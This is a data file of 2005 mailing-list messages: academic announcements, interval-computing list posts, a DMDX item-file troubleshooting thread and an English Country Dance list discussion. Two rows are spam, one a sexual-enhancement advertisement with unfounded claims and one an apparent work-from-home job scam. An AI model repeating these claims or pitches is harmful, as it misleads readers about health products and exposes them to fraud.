page of critical material. Use of a paper dictionary (only) is permitted. Students taking the test should bring their own dictionary. Results are sent by the Italian Department to the student's home department.",0,0 Virginia Kay ,enclgrads@CUVMC.AIS.COLUMBIA.EDU,"Tue, 30 Aug 2005 11:10:23 -0400",COURSE: PERFORMING SUBJECTIVITY - Opera and Storytelling,"ANTH G6186. PERFORMING SUBJECTIVITY IN AN AGE OF REVOLUTION: OPERA AND STORYTELLING. 308 Lewisohn, Thurs: 4:10-6 pm. Prof. Combs-Schilling. Office hours for this class are immediately after class in Lewisohn or in 956 Schermerhorn by appointment. mec3@columbia.edu The course examines opera performances as a site for negotiating changes in images of persons, gender, political authority and community as eighteenth century Europe headed towards revolution. By focusing broader analytical frameworks (e.g., those of Butler, Eco, Feldman, Geertz, Hull and Tambiah) on five eighteenth century operas, expansive light can be shed on the potential potency of lyric storytelling to be a generative site of culture. We will explore ways in which particular operas expanded the range of alternatives available to individuals and communities as well as ways in which prominent political cultural filters reduced ways in which particular operas could be understood. Included in our exploration will be the issue of how these operas resonate now and whether any of them still challenge images of gender, persons and community. This is an interdisciplinary course designed for those who are interested in the role collective performances can play in producing cultural imaginations-narrative and lyric. It is intended to appeal to graduate students from a wide range of disciplines, including: anthropology, drama, English, gender studies, German, history, Italian, literary studies and music as well as those who specialize in eighteenth century studies. Cultural rather than musicological approaches are emphasized. While musical expertise is not demanded, it is a most welcome addition. Specific student projects will be designed according to the individual student's own interests and expertise. The five operas to be explored are Thomas Arne and Metastasio's Artaxerses (1762 London), Paisiello and Petrosellini's Barber of Seville (1783 Vienna), Paisiello and Casti's King Theodore (1784 Vienna) as well as Mozart and Da Ponte's Marriage of Figaro (1786 Vienna) and Cosi fan Tutte (Women are Like That) (1789 Vienna). We will see Marriage and Cosi at the Metropolitan Opera House as well as one other opera of the student's choice. Course limited to 15 students. Those interested should e-mail Prof. Combs-Schilling at mec3@columbia.edu with a few sentences expressing their interest in the course and their areas of expertise. All interested students must attend the first class. ",0,0 Virginia Kay ,enclgrads@CUVMC.AIS.COLUMBIA.EDU,"Tue, 30 Aug 2005 11:13:36 -0400",CALL: Women's and Gender History,"The Seventh Annual Graduate Symposium on Women's and Gender History ""Mobility"" University of Illinois at Urbana-Champaign March 9-11, 2006 SUBMISSION DEADLINE: NOVEMBER 1, 2005 The Executive Committee of the Seventh Annual Graduate Symposium on Women's and Gender History at the University of Illinois at Urbana-Champaign announces a call for papers. The Symposium, which is part of activities on campus in recognition of Women's History Month, is scheduled for March 9-11, 2006. To celebrate and encourage further work in the field of women's and gender history, we invite submissions from graduate students from any institution or discipline on topics in women's and gender history that address the theme of ""Mobility."" Papers or panels may address, but should not be limited to the following: ? Performativity and the Body ? Cosmopolitanisms ? Boundaries and Restraints: Material and Imagined ? Intra- and Trans-national flows of goods and ideas ? Social Mobility ? The Construction and Experience of Public and Private Spaces ? Globalization and Feminist Theory We welcome papers on any historical subject that might grow out of a variety of disciplines and engage diverse methodologies. We also invite panel submissions consisting of three papers, although each of the three papers will be judged on its individual merit. In addition, we encourage papers and panels analyzing the state of the field in women's and gender history. Preference will be given to scholars who did not present a paper at last year's Sixth Annual Graduate Symposium on Women's and Gender History. We are pleased to announce that Jennifer L. Morgan, Associate Professor of History and Women's and Gender Studies at Rutgers and author of Laboring Women: Reproduction and Gender in New World Slavery (University of Pennsylvania Press, 2004) will deliver the keynote address on Thursday, March 9th. Presenters at the conference will have the opportunity to publish their work in the on-line proceedings volume. We have limited funds available to assist with the cost of travel for presenters who have limited conference experience. These funds will be allocated based on the quality of the proposal and the distance to be traveled. All submissions must be received by November 1, 2005. To submit a paper or panel in a hard copy format, please send five (5) copies of a 250-word abstract AND a one-page curriculum vitae for EACH paper presenter, commentator, or panel chair to: Programming Committee Graduate Symposium on Women's and Gender History 309 Gregory Hall, MC 466 810 South Wright Street Urbana, Illinois 61801 To submit a paper or panel by email, please send ONLY ONE attachment in Word format containing all abstracts and curriculum vitae. The subject line of the email must read ""Attn: Programming Committee"" and should be sent to gendersymp@uiuc.edu. We cannot be responsible for submissions that do not meet these conditions. Panel submissions are highly encouraged to find chairs and commentators best suited to comment on the work presented and should include a one-paragraph description of the panel as well as curriculum vitae for all participants including the commentator and/or chair. We also invite graduate students to serve as commentators and professors to serve as chairs for panels. These individuals should submit curriculum vitae to gendersymp@uiuc.edu with the subject line: Attn: Programming Committee. For more information: Please contact Programming Committee Chair James Warren at gendersymp@uiuc.edu Visit our website at http://www.history.uiuc.edu/hist%20grad% 20orgs/WGHS/index.htm ",0,1 Virginia Kay ,enclgrads@CUVMC.AIS.COLUMBIA.EDU,"Tue, 30 Aug 2005 11:37:28 -0400",TALK: Nicholas Howe -Anglo Saxon Studies ,"The Anglo Saxon Studies Colloquium Announces an Upcoming Event: Nicholas Howe (UC Berkeley) ""Writing the Book of Anglo-Saxon England"" Friday, September 16 5:30 PM reception at 4:30 PM Columbia University 628 Kent Hall",0,0 Bartlomiej Jacek KUBICA ,reliable computing ,"Tue, 30 Aug 2005 12:24:44 +0200",Re: parallel interval computations," Dear Interval Researchers, Thanks for pointed papers. They are from years 2001 - 2002, so it still seems there is a ,,crisis'' in this field for the last four years. Or maybe is this topic ,,finished'' an no more signifficant results may be obtained there ? At least using present techniques ? What are your opinions ? With best regards Bartlomiej Kubica ",0,0 """Kreinovich, Vladik"" ","reliable_computing@interval.louisiana.edu, interval@listserv.utep.edu","Tue, 30 Aug 2005 21:36:01 -0600",REC'06: dates fixed,"Dear Friends, The Second International Worskhop on Reliable Engineering Computing: Uncertainty in Engineering Computations will take place in Savannah, Georgia, on February 22-24, 2006. Please mark your calendars. The first CFP will be issued shortly. Vladik ",0,0 Virginia Kay ,enclgrads@CUVMC.AIS.COLUMBIA.EDU,"Wed, 31 Aug 2005 09:54:26 -0400",JOB: Composition Adjuncts - Bergen Community College,"I currently need to assign composition 1 and 2 classes which meet at the following times. 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ListProcessor(tm) ",0,0 Steve Keckler ,cs382m@lists.cc.utexas.edu,"Wed, 31 Aug 2005 10:10:16 -0500",[CS382M:1] test message,"This is a test Steve Keckler Computer Architecture and Technology Lab Associate Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-0233 http://www.cs.utexas.edu/users/skeckler ",0,1 Slava Nesterov ,RC mailing list ,"Wed, 31 Aug 2005 22:51:28 +0400","Reliable Computing, Vol.12, issue 1, 2006"," Reliable Computing Volume 12, issue 1, 2006 Mathematical Research Complex Interval Arithmetic Using Polar Form Yves Candau, Tarek Raissi, Nacim Ramdani, Laurent Ibos 1-20 Sharpening Interval Computations Eldon Hansen 21-34 Interval Householder Method for Complex Linear Systems Bakyt S. Djanybekov 35-43 Applications Robust Control for Two-Time-Scale Discrete Interval Systems Balasaheb M. Patre, Bijnan Bandyopadhyay 45-58 Fast Algorithm for Computing the Upper Endpoint of Sample Variance for Interval Data: Case of Sufficiently Accurate Measurements Gang Xiang 59-64 Information Los Alamos National Laboratory Uncertainty Workshop: An Interval Perspective 65-71 Towards Real World Applications: Interval-Related Talks at NAFIPS'05 73-77 ",0,0 Raphael Stiffler ,reliable_computing-outgoing@interval.louisiana.edu,"Thu, 01 Sep 2005 17:07:09 -0500",Fat Go Go Go,"on migratory be scar and steam , brimstone it brillouin ",1,0 Dennis Knudson ,GEL software mailing list ,"Fri, 02 Sep 2005 13:51:19 -0600",Re: summary stats,"Thank you Aaron for kindly responding. I appreciate your warning etc regarding inversions and thank you for the comments. I had looked at all the files generated by mauve and did realize that the information was in .alignment file and had used grep with the ""-'"" to find inversions. I also downloaded GRIL and just downloaded badger. Thanks for the tips. Dennis On Sep 2, 2005, at 1:21 PM, Aaron Darling wrote: > Hi Dennis: > At the moment the Mauve visualization tool doesn't support the type > of manipulations and summaries that you seek. As you know, the > data files generated by the Mauve aligner can be processed to > extract information about inverted segments. On that note I'd like > to offer a word of caution: a count of inverted segments doesn't > necessarily correspond to the number of inversion events since > speciation. Overlapping and nested inversion events can result in > discrepancy between the observed inverted segments and the actual > inversion events. A few software packages have been developed by > others to analyze inversion event histories: BADGER, GRIMM- > Synteny, and GRAPPA. Of these, I like BADGER's bayesian approach > best as it gives some estimate of uncertainty in its phylogenetic > reconstructions... > > If you're comparing only a pair of genomes and you're using Unix/ > Linux/BSD, a count of the inverted segments can be extracted from > the .alignment file using grep on the unix command line: > > grep -c "" - "" my_genomes.alignment > > The command counts the number of LCBs that match on the - strand. > A fancier regex could be concocted to deal with multiple genome > alignments, e.g. look for the genome number followed by a colon, > skip the sequence coordinates, match the strand. > > -Aaron > > > Dennis Knudson wrote: > > >> Let's assume that I have just compared to bacterial genomes that >> contain rearrangements and inversions. Is there a simple way to >> get a count of each or even display only one type, ie, inversions >> only? I know that I can work my through the LCBs manually and >> record this information, but I was wondering whether there might >> be a faster method. Please advise. >> >> >> >> Dennis L. Knudson >> Professor of Entomology/Microbiology >> Department of Bioagricultural Sciences and Pest Management >> College of Agricultural Sciences >> Colorado State University >> Fort Collins, CO 80523 >> >> office: 970 491-7255 >> fax: 970 491-3862 >> Dennis.Knudson@colostate.edu >> >> >> ############################################################# >> This message is sent to you because you are subscribed to >> the mailing list . >> To unsubscribe, E-mail to: >> To switch to the DIGEST mode, E-mail to > digest@svm.vetmed.wisc.edu> >> To switch to the INDEX mode, E-mail to > index@svm.vetmed.wisc.edu> >> Send administrative queries to > request@svm.vetmed.wisc.edu> >> > > > ############################################################# > This message is sent to you because you are subscribed to > the mailing list . > To unsubscribe, E-mail to: > To switch to the DIGEST mode, E-mail to digest@svm.vetmed.wisc.edu> > To switch to the INDEX mode, E-mail to index@svm.vetmed.wisc.edu> > Send administrative queries to request@svm.vetmed.wisc.edu> >",0,0 Rafi Muhanna ,reliable computing ,"Fri, 02 Sep 2005 16:08:31 -0400",The Second Workshop on Reliable Engineering Computing,"Dear Colleagues: CALL FOR PAPERS The Second workshop on Reliable Engineering Computing Georgia Institute of Technology February 22-24, 2006 | Savannah, Georgia, USA Across all branches of engineering, computational methods share the need for reliable results. Reliability can be achieved only if all sources of errors, approximations, and uncertainty are accounted for. This workshop is unique in combining computer science, mathematics, and engineering analysis and design to discuss the reliability of engineering computations, providing a common forum by which to continue cross-disciplinary advisements in the field. Participants are expected to submit papers that will be published in the workshop proceedings and also will be available online from the workshop web site. After the workshop, selected papers will be published in a special issue(s) of Reliable Computing journal. The papers will go through the normal refereeing process. Workshop website: http://www.gtsav.gatech.edu/rec/bulletin.html Topics include but not limited to: - Measurement of reliability of algorithms and computations; - Integration of various sources of errors in engineering calculations; - Integrating uncertainty into analysis and design. Deadlines: October 15, 2006: deadline for abstract submission November 01, 2006: notification of acceptance January 15, 2006: deadline for paper submission For more information, please contact Prof. Muhanna Email: rec@gtrep.gatech.edu Phone: (912) 966-7931 Fax: (912) 966-7928 Honorary Co-Chairmen Ramon E. Moore Eldon R. Hansen Ivo Babuška Chairman: Rafi L. Muhanna, Georgia Institute of Technology Co-Chairman: Robert L. Mullen, Case Western Reserve University Scientific Committee: Götz Alefeld, University of Karlsruhe Daniel Berleant, Iowa State University David Bogle, University College London George Corliss, Marquette University William Edmonson, North Carolina State University Scott Ferson, Applied Biomathematics Roger Ghanem, University of Southern California Raphael Haftka, University of Florida Baker Kearfott, University of Louisiana at Lafayette Vladik Kreinovich, University of Texas at El Paso Brend Möller, Dresden University of Technology Zissimos Mourelatos, Oakland University Arnold Neumaier, University of Vienna Efstratios Nikolaidis, University of Toledo Andrzej Pownuk, Silesian University of Technology Siegfried Rump, Technical University of Hamburg Pol Spanos, Rice University Mark Stadtherr, University of Notre Dame William Walster, Sun Microsystems Steve Wojtkiewicz, Sandia National Laboratories Sponsors: Georgia Institute of Technology. Other sponsors will be announced in the future Coordination of the event is being provided by the Center for Reliable Engineering Computing at Georgia Tech Savannah. Rafi Muhanna & Bob Mullen _________________________________________________________________________________________ Rafi L. Muhanna Director, Center for Reliable Engineering Computing (REC) School of Civil & Environmental Engineering Georgia Institute of Technology, Savannah 210 Technology Circle Savannah, GA 31407-3038 USA Email: rafi.muhanna@gtrep.gatech.edu Phone: (912) 966-7931 Fax: (912) 966-7928",0,1 Brooks ,reliable_computing-outgoing@interval.louisiana.edu,"Sat, 03 Aug 2002 02:11:00 -0300",sup its Brooks,"Increase your CUM VOLUME, and Orgasm Length main benifits: - The longest most intense Orgasms of your life - Erctions like steel - lncreased libido/desire - Stronger ejaculaton (watch where your aiming) - Multiple 0rgasms - Up to 5OO% more volume (cover her in it if you want) - Studies show it tastes sweeter DISCREET SAME DAY SHIPPING - TRY IT, YOU'LL L0VE IT! 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Internet service (including the reliable_computing mailing list) has been uninterrupted, and is apparently normal. However, I am told that the bandwidth of the trunk to which our university is connected has been significantly cut, partially due to loss of infrastructure and partially due to pre-emptive use by emergency services. This shouldn't affect the reliable_computing list, with reasonably-sized messages and about 500 subscribers, so please continue to use the list, as appropriate. (The things to avoid, temporarily, would be streaming video into and out of the university, and similar things. I don't think that applies to our activities, though.) If any of you have colleagues at Tulane University, Loyola University at New Orleans, the University of New Orleans, etc., do not expect these colleagues to be at their New Orleans addresses for at least several months. However, many of these colleagues are at other universities, and in particular at the University of Louisiana at Lafayette. Furthermore, these faculty have been assured that they still have jobs. In the mean time, the University's population (and, for that matter Lafayette's) is significantly larger than a week ago, and growing daily. Best regards, Baker --------------------------------------------------------------- R. Baker Kearfott, rbk@louisiana.edu (337) 482-5346 (fax) (337) 482-5270 (work) (337) 993-1827 (home) URL: http://interval.louisiana.edu/kearfott.html Department of Mathematics, University of Louisiana at Lafayette (Room 217 Maxim D. Doucet Hall, 1403 Johnston Street) Box 4-1010, Lafayette, LA 70504-1010, USA --------------------------------------------------------------- ",0,1 hook@stkhuv.enet.dec.com,toni@cs.utexas.edu,"Sun, 04 Sep 2005 02:33:40 +0300",FWD: Internet Home Work From 800USD per week.," Financial manager position in your country! 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Probably you should check > how it corresponds to the generalized solution sets of Sergey Shary. > > However, what I am seeking now are some concrete application examples, > not general statements of possibility. All of this can be easily expressed as formulae in the first-order predicate language over the real numbers. You can find a bibliography of papers discussing applications at: http://www.mpi-inf.mpg.de/~ratschan/appqcs.html Stefan Ratschan ",0,1 ,,,,"(8.12.8/8.12.8) with ESMTP id j87HDPPH011851 for ; Wed, 7 Sep 2005 10:13:25 -0700 Received: from localhost.ucsb.edu ([127.0.0.1] helo=hub.ucsb.edu) by ucsb.edu with esmtp id 1ED3U0-000H3Z-05; Wed, 07 Sep 2005 10:13:12 -0700 Received: from hub.ucsb.edu ([128.111.24.40] helo=smtp.ucsb.edu) by ucsb.edu with esmtps TLSv1:AES256-SHA:256 id 1ED3Tg-000H32-Dn for csf@ucsb.edu; Wed, 07 Sep 2005 10:12:52 -0700 Received: from [169.231.66.7] (helo=[169.231.68.172]) by smtp.ucsb.edu with esmtpsa TLSv1:RC4-SHA:128 id 1ED3Tg-000H2w-6P for csf@ucsb.edu; Wed, 07 Sep 2005 10:12:52 -0700 Mime-Version: 1.0 (Apple Message framework v734) Message-Id: <18284524-E72F-4EA6-875D-72C6443C323E@UCSB.edu> From: E. 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The correct deadlines are: Deadlines: October 15, 2005: deadline for abstract submission November 01, 2005: notification of acceptance January 15, 2006: deadline for paper submission Sorry for the inconvenience. Rafi Muhanna _________________________________________________________________________________________ Rafi L. Muhanna Director, Center for Reliable Engineering Computing (REC) School of Civil & Environmental Engineering Georgia Institute of Technology, Savannah 210 Technology Circle Savannah, GA 31407-3038 USA Email: rafi.muhanna@gtrep.gatech.edu Phone: (912) 966-7931 Fax: (912) 966-7928",0,0 Mark Conroy ,DMDX@psy1.psych.arizona.edu,"Fri, 09 Sep 2005 13:16:07 +0930",[DMDX] missing item number error,"Hi, I have written a DMDX file which displays sentence anagrams. I am scrambling the items in the file within 4 blocks of 13. The blocks are fixed in position. In other words, I don't want to scramble the blocks. They will be in the same order on each trial. So I have a scrambling parameter in the parameter line and have backslahses (\\) at appropriate points in the file. I also have $ at appropriate points such as to fix instructions and practice items. Everything seems fine. However an error message: 'missing item number' is produced at the same point in the file each time i run it in DMDX. When I run a syntax check I get the error message: 'RTF control word <\\+> used not supported'. I have another very similar file with counterbalanced test items which works fine. Therefore this file should also work easily. Yet it doesn't. I am completely stumped. I can only think of one possible explanation. Is it possible that Wordpad leaves some unwanted code in the background in the file which disrupts DMDX? When i looked at the file in Notepad I noticed quite a lot of extra code which means nothing to me. When I run the file I have 'ignore unknown RTF' enabled. Can anyone help me sort this one out? I have pasted in relevant bits of the file below. $0 ""Press SPACEBAR to start""; 0 ""This is a study of sentence production involving sentence anagrams."", ""When you are ready to see an anagram, press the SPACEBAR.""; 0 ""As soon as you have thought of a sentence press the RIGHT MOUSE BUTTON.""; 0 ""After you have pressed the mouse button say the sentence."", ""Keep your finger on the right mouse button, ready to respond.""; 0 ""Take a break if you get tired."", ""Here are some practice items.""; 0""READY - PRESS SPACEBAR""; +51601""the"", ""school"", ""every"", ""catches"", ""day"", ""she"", ""bus"", *!""to""; 0""NOW DO THE TEST ITEMS. PRESS THE SPACEBAR TO START.""; +51401""new"", ""she"", ""car"", ""drove"", *!""her""; 0""READY - PRESS SPACEBAR""; +51901""go"", ""shopping"", ""to"", ""decided"", *!""she""; 0""READY - PRESS SPACEBAR"";$ \\+11901""have"", ""bike"", ""his"", ""should"", ""old"", ""he"", *!""oiled""; $0""READY - PRESS SPACEBAR"";$ +12001""have"", ""beer"", ""all"", ""might"", ""the"", ""he"", *!""drunk""; Mark Conroy",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 08 Sep 2005 21:15:51 -0700",[DMDX] Re: missing item number error,"At 01:16 PM 9/9/2005 +0930, you wrote: >Hi, > >I have written a DMDX file which displays sentence anagrams. I am >scrambling the items in the file within 4 blocks of 13. The blocks are >fixed in position. In other words, I don't want to scramble the >blocks. They will be in the same order on each trial. So I have a >scrambling parameter in the parameter line and have backslahses (\\) >at appropriate points in the file. I also have $ at appropriate points >such as to fix instructions and practice items. Everything seems >fine. However an error message: 'missing item number' is produced at the >same point in the file each time i run it in DMDX. When I run a syntax >check I get the error message: 'RTF control word <\\+> used not supported'. > >I have another very similar file with counterbalanced test items which >works fine. Therefore this file should also work easily. Yet it >doesn't. I am completely stumped. I can only think of one possible >explanation. Is it possible that Wordpad leaves some unwanted code in the >background in the file which disrupts DMDX? When i looked at the file in >Notepad I noticed quite a lot of extra code which means nothing to >me. When I run the file I have 'ignore unknown RTF' enabled. Can anyone >help me sort this one out? I have pasted in relevant bits of the file below. It's your backslash. I'm impressed at the way it's breaking the parser but for DMDX syntax it is a little malformed. You need to have a new line after your backslash: >0""READY - PRESS SPACEBAR"";$ > >\\+11901""have"", > >""bike"", It needs to be like this: >0""READY - PRESS SPACEBAR"";$ > >\\ > >+11901""have"", > >""bike"", /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ We lie loudest when we lie to ourselves.",0,0 Mark Conroy ,DMDX@psy1.psych.arizona.edu,"Fri, 09 Sep 2005 14:15:48 +0930",[DMDX] RE: Re: missing item number error,"Hi Jonathon, Thanks for your advice. Unfortunately doing as you suggest did not help. Therefore I am still stuck. Besides, the syntax I originally used with the backslash definitely works without problem in my other file. That is, the following causes no problem in my other file: 0""READY - PRESS SPACEBAR"";$ \\+10201""have"", ""house"", ""their"", ""could"", ""whole"", ""they"", *!""painted""; Have you got any other advice about what things may be causing a 'missing item number' or things like 'RTF control word <\\+> used not supported' errors? I would appreciate any tips or clues. Mark -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of j.c.f. Sent: Friday, 9 September 2005 1:46 PM To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: missing item number error At 01:16 PM 9/9/2005 +0930, you wrote: >Hi, > >I have written a DMDX file which displays sentence anagrams. I am >scrambling the items in the file within 4 blocks of 13. The blocks are >fixed in position. In other words, I don't want to scramble the >blocks. They will be in the same order on each trial. So I have a >scrambling parameter in the parameter line and have backslahses (\\) >at appropriate points in the file. I also have $ at appropriate points >such as to fix instructions and practice items. Everything seems >fine. However an error message: 'missing item number' is produced at the >same point in the file each time i run it in DMDX. When I run a syntax >check I get the error message: 'RTF control word <\\+> used not supported'. > >I have another very similar file with counterbalanced test items which >works fine. Therefore this file should also work easily. Yet it >doesn't. I am completely stumped. I can only think of one possible >explanation. Is it possible that Wordpad leaves some unwanted code in the >background in the file which disrupts DMDX? When i looked at the file in >Notepad I noticed quite a lot of extra code which means nothing to >me. When I run the file I have 'ignore unknown RTF' enabled. Can anyone >help me sort this one out? I have pasted in relevant bits of the file below. It's your backslash. I'm impressed at the way it's breaking the parser but for DMDX syntax it is a little malformed. You need to have a new line after your backslash: >0""READY - PRESS SPACEBAR"";$ > >\\+11901""have"", > >""bike"", It needs to be like this: >0""READY - PRESS SPACEBAR"";$ > >\\ > >+11901""have"", > >""bike"", /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ We lie loudest when we lie to ourselves. ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ====================================================================",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 09 Sep 2005 08:57:16 -0700",[DMDX] RE: Re: missing item number error,"At 02:15 PM 9/9/2005 +0930, you wrote: >Hi Jonathon, > >Thanks for your advice. Unfortunately doing as you suggest did not >help. Therefore I am still stuck. Besides, the syntax I originally >used with the backslash definitely works without problem in my other >file. That is, the following causes no problem in my other file: > >0""READY - PRESS SPACEBAR"";$ >\\+10201""have"", It certainly should function, the only criteria I remember adding to scramble for a backslash was that it had to be at the start of line. General religious reasons make me follow it with white space however. >""house"", >""their"", >""could"", >""whole"", >""they"", >*!""painted""; > >Have you got any other advice about what things may be causing a >'missing item number' or things like 'RTF control word <\\+> used not >supported' errors? I would appreciate any tips or clues. Somehow or other DMDX isn't seeing the backslash as a backslash. Either it's some extended character that just happens to look like a backslash or the RTF is badly formed. RTF codes all begin with a backslash, you don't see them because Word or whatever it is that you are using interprets them like DMDX does and displays meaningful text. Open an item file in a text editor (Notepad if you don't have a better one) one day and you'll see what I mean. In fact it'd be interesting to see just what it is that your file has in it. What's happening is that somehow your backslash isn't being seen as the text of the item file but an RTF control word, hence it sees \\+ which isn't an RTF control word. Backslashes if they're really backslashes are stripped out by Scramble so DMDX's item parser would never see them in normal operation so when you ignore unknown RTF DMDX's item parser sees it and is looking for a item CR indicator or an item number and it throws the syntax error. Very weird that the RTF parser would see it as a backslash but Scramble won't. Try deleting and retyping the offending section. Or you can pour the item file though WordPad and see if it can't strip the poorly formed section out. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ We lie loudest when we lie to ourselves.",0,0 ,,,,"envelope-from=owner-ecd-AT-ssrl04.slac.stanford.edu Received: from ssrl04.slac.stanford.edu (ssrl04.slac.stanford.edu [134.79.33.14]) by nospam3.slac.stanford.edu (8.12.11/8.12.11) with SMTP id j89Lxex7021644; Fri, 9 Sep 2005 14:59:41 -0700 (PDT) (envelope-from owner-ecd-AT-ssrl04.slac.stanford.edu) X-ListName: Discussion of modern and historical English Country Dance Warnings-To: <> Errors-To: owner-ecd-AT-ssrl04.slac.stanford.edu Sender: owner-ecd-AT-ssrl04.slac.stanford.edu Date: Fri, 9 Sep 2005 17:59:16 -0400 (EDT) From: ""Susan R. Lorand"" Reply-To: ECD-AT-ssrl04.slac.stanford.edu To: ECD-AT-ssrl04.slac.stanford.edu Subject: [ECD] Re: personal notes, ECD list, Reply-to Munging, and List Behaviors. Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Checker-Version: SpamAssassin 3.0.3 (2005-04-27) on sna01.concipient.net X-Spam-Level: X-Spam-Status: No, score=-2.6 required=7.0 tests=BAYES_00 autolearn=ham version=3.0.3 X-TFF-CGPSA-Version: 1.4 X-SkyHost-CGPSA-Filter: Scanned > -----Original Message----- > From: owner-ecd-AT-ssrl04.slac.stanford.edu > [mailto:owner-ecd-AT-ssrl04.slac.stanford.edu] On Behalf Of > Susan R. Lorand > Sent: Friday, September 09, 2005 2:59 PM > To: ECD-AT-ssrl04.slac.stanford.edu > Subject: [ECD] Re: personal notes, ECD list, Reply-to > Munging, and List Behaviors. > > JB Green wrote: > > > Munging actually removes the individual senders email > address from the > > headers, which detractors of munging say breaks the > functionality of > > their email programs. They have a valid point, as you have > observed, > > because after munging there is no visible difference > between ""Reply"" > > and ""Reply-to-all"" and without munging, those functions > have different > > results. > > You're right that the listserv *adds* a reply-to address to > the header; but it does not necessarily *remove* the sender's > name. (Maybe it's being concealed by your software?) Here > is the header of your message as it came to me: > > Date: Fri, 09 Sep 2005 14:31:50 -0700 > From: JB Green > Reply-To: ECD-AT-ssrl04.slac.stanford.edu > To: ECD-AT-ssrl04.slac.stanford.edu > Subject: [ECD] Re: personal notes, ECD list, Reply-to > Munging, and List Behaviors. > > It's the sender's address that appears in my in-box as the > sender.[1] If I wanted to reply privately, I could reply to > the sender without cutting and pasting, simply by rejecting > the software's offer to direct my reply to the reply-to address. > > (Unfortunately, I don't think the email software I'm using - > Pine - is widely available to individuals. But perhaps there > are other programs that behave equally helpfully?) > > I'm in favor of reply-to-list as the default for this discussion list. > The suggestion (sorry, I forget who made it) of an occasional > reminder from the listowner about this sounds reasonable if > Alan is willing. > > - Susie Lorand > > [1] It's clear that this is the case for several people who > have inadvertently replied on-list because they didn't see > the ""To"" or ""Reply-to"" header. ================================================================================ Archive-Date: Fri, 09 Sep 2005 19:23:14 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu MIME-Version: 1.0 Message-ID: References: <01LSU6P6MZJE9Z4D9Q-AT-SSRL.SLAC.STANFORD.EDU> Date: Fri, 9 Sep 2005 22:22:43 -0400 To: ECD-AT-ssrl04.slac.stanford.edu, Mike White From: ""Emily L. Ferguson"" Reply-To: ECD-AT-playford.slac.stanford.edu Subject: Re: [ECD] English Dialect Website CC: ecd-AT-ssrl04.slac.stanford.edu Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" At 7:03 PM -0700 9/9/05, Alan Winston - SSRL Central Computing wrote: >It depends on what you can sell to your crowd. There are a lot of people in >the ECD world - including those who started doing English because >they were too >injured or winded to do contra any longer - who just don't want to step-hop, >gallop, or rant, or who do stepping gingerly and tentatively. This >stuff wants >to be robust, though not necessarily precise; it's a different set of >expectations than a lot of ECDers have. > >Also, a lot of this stuff is so accessable as to be boring to people who enjoy >intellectual challenge. This makes it good one-night-stand material, where >you're just giving people an excuse to have fun together with dancing, Oh, Alan. You are so tactful! ""So accessible""! Love it. How many American dancers have any idea of how to polka? Can you put them all on the head of a pin..... -- Emily L. Ferguson mailto:elf-AT-cape.com 508-563-6822 New England landscapes, wooden boats and races, press photography http://www.vsu.cape.com/~elf/ ================================================================================ Archive-Date: Fri, 09 Sep 2005 19:23:25 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu MIME-Version: 1.0 Message-ID: References: <01LSU6P6MZJE9Z4D9Q-AT-SSRL.SLAC.STANFORD.EDU> Date: Fri, 9 Sep 2005 22:22:43 -0400 To: ECD-AT-ssrl04.slac.stanford.edu, Mike White From: ""Emily L. Ferguson"" Reply-To: ECD-AT-playford.slac.stanford.edu Subject: Re: [ECD] English Dialect Website CC: ecd-AT-ssrl04.slac.stanford.edu Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" At 7:03 PM -0700 9/9/05, Alan Winston - SSRL Central Computing wrote: >It depends on what you can sell to your crowd. There are a lot of people in >the ECD world - including those who started doing English because >they were too >injured or winded to do contra any longer - who just don't want to step-hop, >gallop, or rant, or who do stepping gingerly and tentatively. This >stuff wants >to be robust, though not necessarily precise; it's a different set of >expectations than a lot of ECDers have. > >Also, a lot of this stuff is so accessable as to be boring to people who enjoy >intellectual challenge. This makes it good one-night-stand material, where >you're just giving people an excuse to have fun together with dancing, Oh, Alan. You are so tactful! ""So accessible""! Love it. How many American dancers have any idea of how to polka? Can you put them all on the head of a pin..... -- Emily L. Ferguson mailto:elf-AT-cape.com 508-563-6822 New England landscapes, wooden boats and races, press photography http://www.vsu.cape.com/~elf/ ================================================================================ Archive-Date: Fri, 09 Sep 2005 19:45:06 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu From: ""JB Green"" Reply-To: ECD-AT-playford.slac.stanford.edu To: Subject: RE: [ECD] Reply settings for this list Date: Fri, 9 Sep 2005 19:44:20 -0700 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit Alan wrote -- > -----Original Message----- > From: owner-ecd-AT-ssrl04.slac.stanford.edu > [mailto:owner-ecd-AT-ssrl04.slac.stanford.edu] On Behalf Of Alan > Winston - SSRL Central Computing > Sent: Friday, September 09, 2005 3:05 PM > To: ecd-AT-ssrl04.slac.stanford.edu > Subject: [ECD] Reply settings for this list > > ECDers -- > > (1) When I said ""reasonable people disagree on this point"", > that was a description, not an imperative. Oh Darn! And I get so passionate on this issue... Ive been very...um...muted... In this list by my choice. > I will not be readily swayed on the settings question. > (That's partly because I used, for many years, a mail reader > that didn't have a reply-to-all command, and there are still > people who use that kind of mail reader.) This is the best reason I've ever heard for justifying one behavior over another. > (3) There's English dancing in Las Vegas? Tell us more! I've been living in Las Vegas since March 2001. I have been a member of a non-profit educational organization that recreates all aspects of life in any society known to Europe between oh lets 